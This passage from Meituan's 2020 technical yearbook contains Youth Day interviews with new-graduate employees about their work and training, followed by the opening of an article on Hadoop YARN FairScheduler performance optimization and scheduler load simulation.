了很多，也初步看到了一些结果。未来，我也会负责博士后站的运营，让每位博士后

的科研、业务产出最大化，有一种我与「美团博士后工作站」共同成长的感觉，还是

很挺成就感的。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

孙喆：我理解的基本功，是一个人说话、办事的底层思维逻辑和习惯，扎实的基本功

最后的输出可能是高效的沟通、逻辑分明主次明显有论据有结论的文档记录、对工作

环节进行拆分规划和有条不紊的执行，以及「凡事有交代，件件有着落，事事有回

音」等等。这些输出的多了，大家都会知道你是一个靠谱的人儿。

除了学习美团内部基本功相关课程、阅读推荐书籍等方式之外，我认为意识到自己和

别人的差距，并在实践中加以改进、不断尝试，直至养成为习惯也是培养基本功的好

方式，毕竟美团真的有好多优秀的同学，而且古语有云：「纸上得来终觉浅，得知此事

要躬行。」

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

孙喆：对校招新人，公司提供了新人必修课——萌芽计划新员工培训，内容涵盖公司

历史和文化，还有写作、沟通、高效能人士的七个习惯、学会提问、金字塔原理等课

程。这些有助于我们在初期快速建立对公司的认知，同时对「基本功」有了初步的概

念，也有助于我们这些职场「萌新」向职场「达人」的蜕变。

此外，公司还有很多的「选修课」，一方面，互联网 +大学提供了技术、产品、运营、

商分等类别下各式各样的在线课程。另一方面，在美团「积累」是一种习惯，我发现

学城（美团内部WiKi）里也有很多宝藏，很多「复盘」和「总结」中的经验和教训，

也相当于工作中的「避坑指南」。
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Q7：平时喜欢读书吗？哪本对自己影响比较大？平时有哪些爱好？这些爱好对自己

有什么影响？

孙喆：影响最大的怕不是《五年高考三年模拟》（抖个机灵）。我还是个科幻迷，喜欢

《三体》～～

爱好的话，古筝应该算一个，小学的时候开始学，坚持了好多年，后来又学习了古

琴，极大地培养了我「静下来、专注下来」的能力。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

孙喆：简单，专注，好好学习，然后每天前进 30公里！

能和一个公司一起变得更牛逼，是另一种优秀

Q1：毕业时，你应该拿到了不少 Offer，为什么最后选择了美团？

江华：能加入牛逼的公司，是一种优秀；能和一个公司一起变得更牛逼，是另一种优

秀。美团是一家高速发展的公司，我想亲眼见证美团发展成为阿里、腾讯这种规模的

大公司。
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Q2：在美团众多的企业理念中，哪一条对你影响比较大？

江华：长期有耐心。我所在的部门AI 平台 -NLP中心更加注重基础能力的建设与积

累。我们的项目在落地到各个不同的业务上周期也更长。如果耐不住性子或急于表

现，很多需要深耕的问题就没人处理，做起事来容易半途而废。同时用户对产品使用

的认知中存在「用户不知道产品没有XX功能」、「用户知道产品没有XX功能」，我

们需要对这些问题攻坚，以客户为中心，不断提升用户的使用体验，也少不了「长期

有耐心」。

Q3：工作中，典型的一天是怎么度过的？

江华：制定日计划，对齐周计划，调整优先级。Coding+Debug+Discuss，然后是

总结反思。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

江华：我们从零开始做的创新性项目，然后各种「黑科技」上线到大众点评，能和身

边的人骄傲地说我做了里面的哪些模块。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

江华：培养认真负责靠谱的处事态度，积累过硬的专业技能，学习高效的沟通交流能

力。平时，以人为镜，多和Mentor、同事交流，向评价高的同学看齐。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

江华：感谢公司平台给我们提供了很大的成长机会。当前，我参与了一个创新性的项

目，在美团和部门的强力后盾下，使得我们能够不用畏惧创业公司由于缺乏流量导致

项目夭折的风险，能够全身心地投入基础能力的积累与建设上。

Q7：平时喜欢读书吗？哪本对自己影响比较大？

江华：明人不说暗话，不太喜欢读书。其实，看的最多的还是技术书。但最近我也尝

试跳出自己的舒适区，多看看文学类书籍、人物传记和美团的「四大名著」。
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Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

江华：想对他们说，科研项目和真实工作有很大的不同。科研过程中往往会对很多外

界条件做理想化的约束，但是真实工作中，可能各种依赖因素都是欠缺的，做事的方

式也会很不一样，需要及时调整好心态，学习更多的软实力。

大家需要珍惜每次的挫折与失败，社会是残酷的，竞争是激烈的，只有哭过笑过，才

能做到独当一面。要相信，未来终究是我们的！

保持理想，保持健康，追求卓越

Q1：毕业时，你应该拿到了不少 Offer，为什么最后选择了美团？

成良：首先，校招的整个面试体验很好，面试官的专业能力非常强，	探讨的问题都很

深入，也给了我一些很好的建议，在这个过程中感受到美团的技术实力和工作效率。

然后在拿到Offer 后，我又与团队 Leader 多次交流，对组内的技术要求和工作方向

有更进一步的了解。我觉得这个岗位很有挑战，也很有价值，也相信在美团这样的环

境中，自己可以成长得更快。
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Q2：在美团众多的企业理念中，哪一条对你影响比较大？

成良：「追求卓越」和「长期有耐心」这两点吧。我认为，追求卓越是一个公司能够向

前发展的保障，同时也是一个优秀的人应该具备的品质，追求卓越的过程往往充满挑

战，也就更加需要长期有耐心的努力。

我觉得每一个平凡的工作日都是在践行这两个理念吧。

Q3：工作中，典型的一天是怎么度过的？

成良：早上到公司后查看邮件，确认线上流程正常运行。然后制定一天的工作计划，

按照重要优先级处理。下班前复盘当天的计划完成情况。挤出的碎片时间，看技术方

案、博客或论文。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

成良：是我入职后负责的第一个项目，利用深度学习预估骑手配送路线及时间。项目

整体难度很大，同时业界几乎没有可参考的案例。在项目进程中，我克服了很多困难，

取得每一个阶段性的成果都很有成就感。在技术得到提升的同时，也对业务有了更深

入的理解。这期间非常感谢 Leader 和导师的耐心指导，以及同事们的各种帮助。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

成良：我理解算法开发工程师的基本功主要体现在以下几个方面：

	● 业务理解能力是前提，只有真正理解业务，才能有合理的、明确的目标，一个

正确的方向是成功的一半；

	● 技术能力是核心，这里包括数据挖掘分析能力，针对具体问题的合理建模能力

和较强的工程实现能力；

	● 时间管理能力、情绪控制能力、沟通推动能力等软实力也是重要的基础。

平时我会有意识地思考自己的短板，技术上多去看相关的资料，思考底层的原理和关

联性。其他的软实力，在工作和生活中逐步锻炼。另外，多读一些书也很有帮助。
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Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

成良：公司对每个岗位的同学都有一套明确的培养体系，从深度和广度上培养员工的

能力，我觉得在这种培养体系下，可以明确自己目前的定位和未来的发展方向，这对

我的职业规划是非常有帮助的。除此之外，公司还提供了各种培训，从价值观、软实

力增强到各种技术课程，只要想学就会有很多的机会。如果说建议的话，感觉技术培

训可以做的更加系统一些。

Q7：平时喜欢读书吗？哪本对自己影响比较大？

成良：目前正在努力让读书成为日常习惯，读过的书中，《平凡的世界》和《少有人

走的路》这两本书对我的影响比较大，虽然很经典了，也不必多言，但还是想推荐

给大家。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

成良：第一，培养好的生活和学习习惯，早睡早起；第二，锻炼独立思考的能力；第

三，潜心在自己的领域做深入的研究。

最后，保持理想，保持健康，追求卓越。
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前行路上，我们都在努力成为更好的自己

Q1：毕业时，你应该拿到了不少 Offer，为什么最后选择了美团？

石英：首先，我一直在使用美团、大众点评等App，当时能够感觉到这些产品的用户

体验、用户行为数据和UGC数据都有非常高的质量，对于做算法方向的我而言，一

家有着大规模、优质数据、真实落地场景的公司是非常具有吸	引力的。其次，美团的

整个面试流程简洁明了，各个面试官和 Leader 都非常 Nice，正如我现在的感受一

样，我选择了一个积极进取、有目标、有良好氛围的团队。最后，美团在生活服务

领域有	很好的用户基础和用户认知，我相信美团未来会做的越来越好，发展潜力也

比较大。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

石英：印象最深的就是「我不会，但我可以学」，自从我开始接触计算机，就一直主

动或被动的在践行这一条。初中毕业开始接触编程，不会就得自己反复啃书学习。到

后来算法竞赛，面对一个个问题，面对一个个算法，面对各种各样优雅的解题思路和

实现方式，不会、不理解，还是反复地查资料自学。离开学校步入职场，需要学的除

了专业知识和技能，还有沟通、合作、项目管理等等，每天都在学习。
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Q3：工作中，典型的一天是怎么度过的？

石英：早上把战场摆好（电脑、键盘、屏幕、白开水……），然后看看一周计划和前面

进展，确定今天的To	Do。一天处理的事务主要分两类事情：偏技术、工程的，根据

需求写代码、调程序；偏需求、业务或者沟通的，大象直接连续对接人或者拉会，会

前做好准备，会后做好记录和同步。午餐、晚餐一般按时吃，和几个同事一起唠唠

嗑，也可能唠唠正在推进的工作。饭后一般会大家一起遛个弯，坐太久了体重容易

Hold 不住……

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

石英：工作以来，印象深刻也是比较自豪的事情，应该算是完成了「统一分词器」，

并且在DQU项目全量上线，影响着美团大搜和点评大搜每天十亿次的请求。因为

「统一分词器」是一个很基础的信号，	并且对性能要求很高，必须用尽可能基础的、底

层的实现方式进行优化，能把这个项目推进到现在的阶段，并且在线上稳定运行，也

是一种对我自己「码力」的锻炼和检验。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

石英：我理解的基本功主要归为两个方面：

	● 硬能力，当然是指技术方面的基本功，「码力」靠练习与借鉴他人的优秀代码，

算法靠学习与思考、对比现有的算法方案。

	● 软能力，例如沟通能力、项目管理等，这些需要平时多观察，多换位思考，择

其善者而从之，其不善者而改之。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

石英：公司有统一的入职培训，能够帮助我们了解公司的文化、制度和技术栈。小组

内有对应的Mentor 能指导我们熟悉环境、开展工作；也很感谢领导能够放手让我直

接参与主要的项目之中，能快速的适应公司的工作流程，也能收获到最实用的技能。
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Q7：平时喜欢读书吗？哪本对自己影响比较大？

石英：技术类的书就不多说了。之前有读到《人性的弱点》，这本书里对于许多人性

或者说人们潜意识的想法、感受、反映有一个很好的剖析，并且大多是我们日常生

活、工作中容易忽视却非常重要的方面，对于沟通、人际交往都有不小的启发。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

石英：首先想到了两个词：怀念和羡慕。学弟学妹们可以好好珍惜在学校的时间，不

管是学习、实习，或者出去走走看看都是极好的；然后有一个小建议：早点明确下一

阶段的目标，并且尽量早点去	了解和准备，这也是我能幸运地加入美团NLP中心的

秘诀。

前行路上，我们都在努力成为更好的自己。

仰望天空，脚踏实地

Q1：毕业时，你应该拿到了不少 Offer，为什么最后选择了美团？

世奇：我选择了无人车行业。首先，我认为美团是最有希望做成无人车的公司之一。
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其次，美团的技术氛围在业内有很好的口碑。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

世奇：「长期有耐心」对我影响比较大。因为我们现在做的事情在整个行业来看，都不

是短时间内可以完成很大的技术飞跃，我们也会经常听到「质疑」的声音，如果不对

未来有坚定的信心，确实很难坚持下来。只有长期有耐心，对未来有信心，才能把技

术做强，比别人做的更深、更专。

Q3：工作中，典型的一天是怎么度过的？

世奇：早上过来，我会先对今天的工作任务做下梳理，思考好实现细节，然后开始开

发代码。期间也会对高优突发的Case 进行分析、处理。一天中也要抽空关注业内动

态，学习前沿技术。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

世奇：2019 年 11 月份，我们拿到了北京自动驾驶路测牌照。整个团队经过几个月的

努力，解决了很多难题，最终顺利通过测试。在拿到牌照的时候，大家还是非常激动

的，能够在这样强劲的技术团队做出自己的贡献，自己也感觉到很自豪。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

世奇：日常可以用到的技能都是基本功，比如专业技能、沟通技能等，加强这些技能

都可以提升自己的工作效率。一般我会通过阅读相关书籍、参加技术分享来了解相关

技能，然后在实践中尝试这些新技能，进而达到提升基本功的目的。美团也有句老

话，「仰望天空，脚踏实地」。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

世奇：帮助还是挺大的。通过「萌芽计划」让自己对美团文化有了非常深刻的认识，

导师制也帮助自己更加快速地融入团队。如果说建议的话，希望后期可以增加一些网

上授课。
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Q7：平时喜欢读书吗？哪本对自己影响比较大？

世奇：《学会提问》，用批判性眼光看待问题。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

世奇：夯实基础，对新鲜事物、前沿技术保持好奇心。我们是「八九点钟的太阳」，

有幸与大家一起共筑辉煌。

谋定而后动，做事有头尾

Q1：毕业时，你应该拿到了不少 Offer，为什么最后选择了美团？

漆毅：首先，我投的公司并不多，毕业时在手的Offer 不算多。选美团是因为感受到

了美团对校招生的重视。当时面试通过以后，部门专门邀请我们去公司，给我们讲部

门具体在做什么、现状如何，后续发展如何。然后个人对整个业务前景也比较认可。

既然各家Offer 的硬条件都差不多，当然要选一个自己最有好感、也最认可的，最后

就选择了我团。
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Q2：在美团众多的企业理念中，哪一条对你影响比较大？

漆毅：长期有耐心。工作中生活中的事情，能不能在觉得「山穷水尽」时继续坚持，

最终迎来「柳暗花明」，关键很看人的耐心够不够，信心足不足。有耐心总是好事。

因为我参加工作不到一年，这里只能举一个稍显单薄的例子。我在广告平台具体做

CTR预估的算法工作，最近的一个项目是使用增量学习的方式去优化模型。最初入

手时，发现换了优化方式后，模型效果大降，不符合预期。后来也是花费了比较多的

时间，从代码Bug、模型参数等等层面看是什么原因，最后定位是输入数据的处理方

式需要做适当调整。这个过程需要一定「水磨豆腐」的耐心功夫。当然回头来看，这

也使我对「模型效果取决于数据」这句话有了更为深刻的理解。

Q3：工作中，典型的一天是怎么度过的？

漆毅：每天到公司后，会先看看夜间的线上任务，确保正常。然后列一列昨日未结事

项和今日必做清单，此后就按照计划一项一项去做。如果涉及到沟通合作的事情，就

要和相关同事协调时间讨论沟通。因为是做数据相关工作，最近也有意识地多去探

索、观察数据。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

漆毅：工作上的话，印象比较深刻的是第一个模型上线。跟着Mentor 走完整个流程，

最后成功上线，也有一个不错的结果，还是很开心的。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

漆毅：我理解是「谋定而后动」，做事有头尾。在做一件事之前，都先想清楚为什么

要做这件事。然后也多和同事、Leader 沟通，对齐目标，争取得到最大的帮助。一

旦定好目标计划，开始执行，技术层面就靠一些硬功夫，如代码能力、数据分析能

力、业务指标理解程度等等，保障能逐步推进，获得有效输出。平时，我主要还是从

具体的项目实施中去加强这方面锻炼。在具体的项目制定和推进过程中，注意每天或

隔天都有小目标和小回顾，也在合适时与团队沟通、对齐。
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Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

漆毅：公司提供的培养方面，帮助最大的无疑是新人培养计划。部门为每个新入职的

同事分配了一名Mentor，帮助熟悉工作、融入团队。这里要特别感谢我的Mentor，

他的业务、技术厉害不说，还超有耐心。

其他培养的话，我印象比较深的有互联网 +大学的一些课程，这些课程都是由公司内

同事或公司邀请外部大牛来讲述，是很好的沟通与学习的机会。对于一个技术新人来

说，目前，我们收到的课程推送主要是技术方面的课程信息。而公司层面一直很强调

业务理解和业务价值，因而我觉得针对这部分内容，可以考虑对技术同学推送业务相

关的一些基础课程。

Q7：平时喜欢读书吗？哪本对自己影响比较大？

漆毅：平时会读一些书，小说啊诗歌啊之类，比较放松。来美团后看了美团「四大名

著」之一的《高效能人士的七个习惯》。特别欣赏其中一条，叫「以终为始」。结合公

司强调的基本功训练，我理解就是定好目标，完善计划，并妥善执行。说来容易，动

手艰辛，还是一定要耐心够、干劲足才行。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

漆毅：真的是很羡慕大家，还是挺怀念在学校的日子的。如果说有什么贴近实际的建

议，那就是学弟学妹们在找工作时，能多就多投，不要给自己的选择设限。面试也是

一个互相了解的过程。当然也欢迎大家多投美团，已经有很多学长学姐，在美团的各

个岗位上发挥出个人的价值，特别欢迎大家来广告平台。

这些日子，全球各方面冲突加剧，显得动荡不安。在这样的环境下，我们每个个体看

重什么，做什么样的选择，更需要三思。



356　>　美团 2020 技术年货

不拘泥于眼前的得失，把控未来五年、十年的变化与发展

Q1：毕业时，你应该拿到了不少 Offer，为什么最后选择了美团？

佳昊：我在 2018 年 7 月份参加美团的面试，11 月份决定加入美团，期间历时 4个

月的时间。在这期间，我和我的 Leader 一直在沟通交流，他的坦诚、思考问题的方

式、还有他之前在学术界取得的成果深深吸引并打动了我。

此外，在等待 Offer 期间，部门负责人王仲远还特地为我们校招生开了「保温

party」，真实详细且毫不避讳地介绍了部门已有的成果和不足，部门的目标和战略，

以及未来的方向。让我认识到，搜索与NLP部门是一个由使命感驱动的团队，是一

个可以专心做事的地方。因此，我选择加入了美团。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

佳昊：长期有耐心。在工作期间愈发体会到这 5个字的分量。在发展如此快速的互联

网行业，大部分人都期望可以快速拿到产出。但「贪心」算法告诉我们，「步步最优，

不一定全局最优」。所谓「长期有耐心」，需要我们把目光放的长远，准确把控未来五

年、十年的变化与发展，不拘泥于眼前的得失。如果没有一定的战略眼光和知识储
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备，是无法做到这一点的。当然，也深感自己要学习的还有太多。

Q3：工作中，典型的一天是怎么度过的？

佳昊：到公司查看邮件，确定会议时间，做好会议准备。下午到晚上，会专心解决一

些复杂的问题。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

佳昊：我参与的一个项目是改善美团大搜中的相关性问题。当自己的方法上线后，可

以切实感受到相关性问题得到了明显的改善，感到很自豪。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

佳昊：基本功是工作的日常。发送邮件、大象沟通、写代码注释、做Slides、面对面

沟通等等。我最近在锻炼自己的写作能力：

	● 把问题定义清楚。不同的人对同一个词的定义会不一样，容易造成歧义。

	● 减少「口语化」的表述。减少Buzzy	Words。力求精炼、准确、无误。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

佳昊：美团「萌芽计划」封闭培训，让我了解了公司的历史、文化还有价值观，对公

司产生了更大的归属感。还有就是互联网 +大学的课程，帮助我快速地学习，提升自

己的技术。

Q7：平时喜欢读书吗？哪本对自己影响比较大？平时有哪些爱好？这些爱好对自己

有什么影响？

佳昊：《原则》，这本书很多大佬都推荐过。还有就是打「桌游」，能够培养自己的逻辑

能力，识别逻辑陷阱。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

佳昊：对于非毕业生，建议大家学好知识，打好基础。大学生活很精彩，学习是其中
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最重要的一部分。对于毕业生，在选择第一份工作时，不要只考虑薪酬，还要考虑未

来 3到 5年的发展。希望大家早日做好个人规划，多跟部门同事或者未来的 Leader

进行沟通。也欢迎大家加入美团，和优秀的人一起做非凡的事。

最后引用鲁迅先生的一句话：「愿中国青年都摆脱冷气，只是向上走，不必听自暴自弃

者流的话。能做事的做事，能发声的发声。有一分热，发一分光。就令萤火一般，也

可以在黑暗里发一点光，不必等候炬火。」跟同学们共勉。

致敬青年

今天，在这个属于青年的特殊日子里，我们向所有的青年才俊说一声：大家辛苦了！

因为有你，我们青春无限。

因为有你，我们不畏艰难。

因为有你，我们纵情向前！



大数据

基于大数据，可以更好的赋能业务、优化开发、反馈产品、助力运营。在美团点

评，大数据应用于各业务线，以数据驱动的方式帮助公司实现业务目标，持续提高公

司的运营效率和核心竞争力。同时，美团点评大数据不只做平台能力建设，更注重平

台建设与平台能力在数据领域的实践，从而形成体系化的数据解决方案。

2019 年，美团技术博客发布的大数据相关文章涉及数据治理、资源优化、大数

据平台能力建设、非固化的探索式数据分析领域。《Hadoop	YARN：调度性能优化

实践》和《将军令：数据安全平台建设实践》阐述了美团点评大数据平台能力的建

设；《OneData 建设探索之路：SaaS 收银运营数仓建设》、《研发团队资源成本优化

实践》、《Jupyter 在美团民宿的应用实践》三篇文章分别从数据治理、资源优化、非

固化的探索式数据分析三个方面讲述了美团点评不同业务场景的应用实践。

抛砖引玉，希望美团点评的这些经验能够对数据工程师们有所启迪，未来一起交

流、成长。
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Hadoop YARN：调度性能优化实践

世龙　廷稳

背景

YARN作为Hadoop 的资源管理系统，负责Hadoop 集群上计算资源的管理和

作业调度。

美团的YARN以社区 2.7.1 版本为基础构建分支。目前在YARN上支撑离线业

务、实时业务以及机器学习业务。

	● 离线业务主要运行的是Hive	on	MapReduce，	Spark	SQL 为主的数据仓库

作业。

	● 实时业务主要运行Spark	Streaming，Flink 为主的实时流计算作业。

	● 机器学习业务主要运行 TensorFlow，MXNet，MLX（美团点评自研的大规模

机器学习系统）等计算作业。

YARN 面临高可用、扩展性、稳定性的问题很多。其中扩展性上遇到的最严

重的，是集群和业务规模增长带来的调度器性能问题。从业务角度来看，假设集群

1000 台节点，每个节点提供 100 个 CPU的计算能力。每个任务使用 1个 CPU，

平均执行时间 1分钟。集群在高峰期始终有超过 10 万 CPU的资源需求。集群的调

度器平均每分钟只能调度 5万的任务。从分钟级别观察，集群资源使用率是 50000/

(100*1000)=0.5，那么集群就有 50%的计算资源因为调度能力的问题而无法使用。

随着集群规模扩大以及业务量的增长，集群调度能力会随着压力增加而逐渐下

降。假设调度能力依然保持不变，每分钟调度 5万个任务，按照 5000 台节点的规

模计算，如果不做任何优化改进，那么集群资源使用率为：50000/(100*5000)	=	

10%，剩余的 90%的机器资源无法被利用起来。

这个问题解决后，集群在有空余资源的情况下，作业资源需求可以快速得到满
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足，集群的计算资源得到充分地利用。

下文会逐步将Hadoop	YARN调度系统的核心模块展开说明，揭开上述性能问

题的根本原因，提出系统化的解决方案，最终Hadoop	YARN达到支撑单集群万级

别节点，支持并发运行数万作业的调度能力。

整体架构

YARN 架构

YARN负责作业资源调度，在集群中找到满足业务的资源，帮助作业启动任务，

管理作业的生命周期。

YARN详细的架构设计请参考Hadoop 官方文档。

资源抽象

YARN在 cpu，memory 这两个资源维度对集群资源做了抽象。

class Resource{
  int cpu;   //cpu核心个数
  int memory-mb; //内存的 MB数
}

作业向YARN申请资源的请求是：List[ResourceRequest]

class ResourceRequest{
  int numContainers; //需要的 container个数
  Resource capability;//每个 container的资源
}

YARN对作业响应是：List[Container]

class Container{
  ContainerId containerId; //YARN全局唯一的 container标示
  Resource capability;  //该 container的资源信息
  String nodeHttpAddress; //该 container可以启动的 NodeManager的 hostname
}

http://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/YARN.html
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YARN 调度架构

YARN 调度器

名词解释

	● ResourceScheduler 是 YARN的调度器，负责Container 的分配。

	● AsyncDispatcher 是单线程的事件分发器，负责向调度器发送调度事件。

	● ResourceTrackerService 是资源跟踪服务，主要负责接收处理NodeMan-

ager 的心跳信息。

	● ApplicationMasterService 是作业的RPC服务，主要负责接收处理作业的心

跳信息。

	● AppMaster 是作业的程序控制器，负责跟YARN交互获取 / 释放资源。

调度流程

1.	作业资源申请过程：AppMaster 通过心跳告知 YARN 资源需求 (List[Re-

sourceRequest])，并取回上次心跳之后，调度器已经分配好的资源

(List[Container])。
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2.	调度器分配资源流程是：Nodemanager 心跳触发调度器为该 NodeMan-

ager 分配Container。

资源申请和分配是异步进行的。ResourceScheduler 是抽象类，需要自行实

现。社区实现了公平调度器 (FairScheduler) 和容量调度器 (CapacityScheduler)。

美团点评根据自身的业务模式的特点，采用的是公平调度器。

公平调度器

作业的组织方式

在公平调度器中，作业 (App) 是挂载如下图的树形队列的叶子。

队列结构
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核心调度流程

核心调度流程

1.	调度器锁住 FairScheduler 对象，避免核心数据结构冲突。

2.	调度器选取集群的一个节点 (node)，从树形队列的根节点ROOT开始出发，

每层队列都会按照公平策略选择一个子队列，最后在叶子队列按照公平策略

选择一个App，为这个App在 node 上找一块适配的资源。
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对于每层队列进行如下流程：

1.	队列预先检查：检查队列的资源使用量是否已经超过了队列的Quota

2.	排序子队列 /App：按照公平调度策略，对子队列 /App 进行排序

3.	递归调度子队列 /App

例如，某次调度的路径是 ROOT	->	ParentQueueA	->	LeafQueueA1	->	

App11，这次调度会从 node 上给 App11 分配Container。

伪代码

class FairScheduler{
  /* input：NodeId
   *  output：Resource 表示分配出来的某个 app的一个 container的资源量
   *  root 是树形队列 Queue的根
   */
  synchronized Resource attemptScheduling(NodeId node){
    root.assignContainer(NodeId);
  }
}

class Queue{
  Resource assignContainer(NodeId node){
    if(! preCheck(node) ) return;  //预先检查
      sort(this.children);  //排序
    if(this.isParent){
      for(Queue q: this.children)
        q.assignContainer(node);  //递归调用
    }else{
      for(App app: this.runnableApps)
        app.assignContainer(node);
    }
  }
}

class App{
  Resource assignContainer(NodeId node){
    ......
  }
}
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公平调度器架构

公平调度器是一个多线程异步协作的架构，而为了保证调度过程中数据的一致

性，在主要的流程中加入了FairScheduler 对象锁。其中核心调度流程是单线程执行

的。这意味着Container 分配是串行的，这是调度器存在性能瓶颈的核心原因。

公平调度器架构

	● scheduler	Lock：FairScheduler 对象锁

	● AllocationFileLoaderService：负责公平策略配置文件的热加载，更新队列数

据结构

	● Continuous	Scheduling	Thread：核心调度线程，不停地执行上节的核心调

度流程

	● Update	Thread：更新队列资源需求，执行Container 抢占流程等

	● Scheduler	Event	Dispatcher	Thread:	调度器事件的处理器，处理 App 新

增，App 结束，node 新增，node 移除等事件

性能评估

上文介绍了公平调度器的架构，在大规模的业务压力下，这个系统存在性能问

题。从应用层的表现看，作业资源需求得不到满足。从系统模块看，多个模块协同工
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作，每个模块多多少少都存在性能问题。如何评估系统性能已经可以满足线上业务的

需求？如何评估系统的业务承载能力？我们需要找到一个系统的性能目标。因此在谈

性能优化方案之前，需要先说一说调度系统性能评估方法。

一般来说，在线业务系统的性能是用该系统能够承载的QPS和响应的 TP99

的延迟时间来评估，而调度系统与在线业务系统不同的是：调度系统的性能不能用

RPC（ResourceManager 接收 NodeManager 和 AppMaster 的 RPC请求）的响

应延迟来评估。原因是：这些RPC调用过程跟调度系统的调度过程是异步的，因此

不论调度性能多么差，RPC响应几乎不受影响。同理，不论RPC响应多么差，调

度性能也几乎不受影响。

业务指标 - 有效调度

首先从满足业务需求角度分析调度系统的业务指标。调度系统的业务目标

是满足业务资源需求。指标是：有效调度 (validSchedule)。在生产环境，只要

validSchedule 达标，我们就认为目前调度器是满足线上业务需求的。

定义 validSchedulePerMin 表示某一分钟的调度性能达标的情况。达标值为 1，

不达标值为 0。

validPending = min(queuePending, QueueMaxQuota)
if  (usage / total  > 90% || validPending == 0):   validSchedulePerMin = 
1 //集群资源使用率高于
90%，或者集群有效资源需求为 0，这时调度器性能达标。
if (validPending > 0 &&  usage / total < 90%) : validSchedulePerMin = 
0;//集群资源使用率低于
90%，并且集群存在有效资源需求，这时调度器性能不达标。

	● validPending 表示集群中作业有效的资源需求量

	● queuePending 表示队列中所有作业的资源需求量

	● QueueMaxQuota 表示该队列资源最大限额

	● usage 表示集群已经使用的资源量

	● total 表示集群总体资源
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设置 90%的原因是：资源池中的每个节点可能都有一小部分资源因为无法满足

任何的资源需求，出现的资源碎片问题。这个问题类似 linux 内存的碎片问题。由于

离线作业的任务执行时间非常短，资源很快可以得到回收。在离线计算场景，调度效

率的重要性远远大于更精确地管理集群资源碎片，因此离线调度策略暂时没有考虑资

源碎片的问题。

validSchedulePerDay 表示调度性能每天的达标率。	validSchedulePerDay	=	

ΣvalidSchedulePerMin	/1440

目前线上业务规模下，业务指标如下：	validSchedulePerMin	>	0.9;	valid-

SchedulePerDay	>	0.99

系统性能指标 - 每秒调度 Container 数

调度系统的本质是为作业分配Container，因此提出调度系统性能指标CPS–

每秒调度Container 数。	在生产环境，只要 validSchedule 达标，表明目前调度器

是满足线上业务需求的。而在测试环境，需要关注不同压力条件下的CPS，找到当

前系统承载能力的上限，并进一步指导性能优化工作。

CPS是与测试压力相关的，测试压力越大，CPS可能越低。从上文公平调度器

的架构可以看到，CPS跟如下信息相关：

	● 集群总体资源数；集群资源越多，集群可以并发运行的的Container 越多，对

调度系统产生越大的调度压力。目前每台物理机的 cpu、memory 资源量差距

不大，因此集群总体资源数主要看集群的物理机节点个数。

	● 集群中正在运行的App数；作业数越多，需要调度的信息越多，调度压力越大。

	● 集群中的队列个数；队列数越多，需要调度的信息越多，调度压力越大。

	● 集群中每个任务的执行时间；任务执行时间越短会导致资源释放越快，那么动

态产生的空闲资源越多，对调度系统产生的压力越大。

例如，集群 1000 个节点，同时运行 1000 个 App，这些 App 分布在 500 个

Queue 上，每个App 的每个Container 执行时间是 1分钟。在这样的压力条件下，
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调度系统在有大量资源需求的情况下，每秒可以调度 1000 个 Container。那么在这

个条件下，调度系统的CPS是 1000/s。

调度压力模拟器

在线上环境中，我们可以通过观察上文提到的调度系统的指标来看当前调度性能

是否满足业务需求。但我们做了一个性能优化策略，不能直接到在线上环境去实验，

因此我们必须有能力在线下环境验证调度器的性能是满足业务需求的，之后才能把实

验有效的优化策略推广到线上环境。

那我们在线下也搭建一套跟线上规模一样的集群，是否就可以进行调度器性能优

化的分析和研究呢？理论上是可以的，但这需要大量的物理机资源，对公司来说是个

巨大的成本。因此我们需要一个调度器的压力模拟器，在不需要大量物理机资源的条

件下，能够模拟YARN的调度过程。

社区提供了开源调度器的压力模拟工具–Scheduler	Load	Simulater(SLS)。

调度压力模拟器

如上图，左侧是开源 SLS 的架构图，整体都在一个进程中，ResourceMan-

ager 模块里面有一个用线程模拟的 Scheduler。App 和 NM(NodeManager) 都是
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由线程模拟。作业资源申请和NM节点心跳采用方法调用。

开源架构存在的问题有：

	● 模拟大规模APP和 NM需要开启大量的线程，导致调度器线程和NM/App 的

模拟线程争抢 cpu 资源，影响调度器的评估。

	● SLS的 Scheduler	Wapper 中加入了不合理的逻辑，严重影响调度器的性能。

	● SLS 为了通用性考虑，没有侵入 FairScheduler 的调度过程获取性能指标，

仅仅从外围获取了Queue 资源需求，Queue 资源使用量，App 资源需求，

App 资源使用量等指标。这些指标都不是性能指标，无法利用这些指标分析系

统性能瓶颈。

针对存在的问题，我们进行了架构改造。右侧是改造后的架构图，从SLS中剥

离 Scheduler	Wapper 的模拟逻辑，用真实的 ResourceManager 代替。SLS 仅

仅负责模拟作业的资源申请和节点的心跳汇报。ResourceManager 是真实的，线上

生产环境和线下压测环境暴露的指标是完全一样的，因此线上线下可以很直观地进行

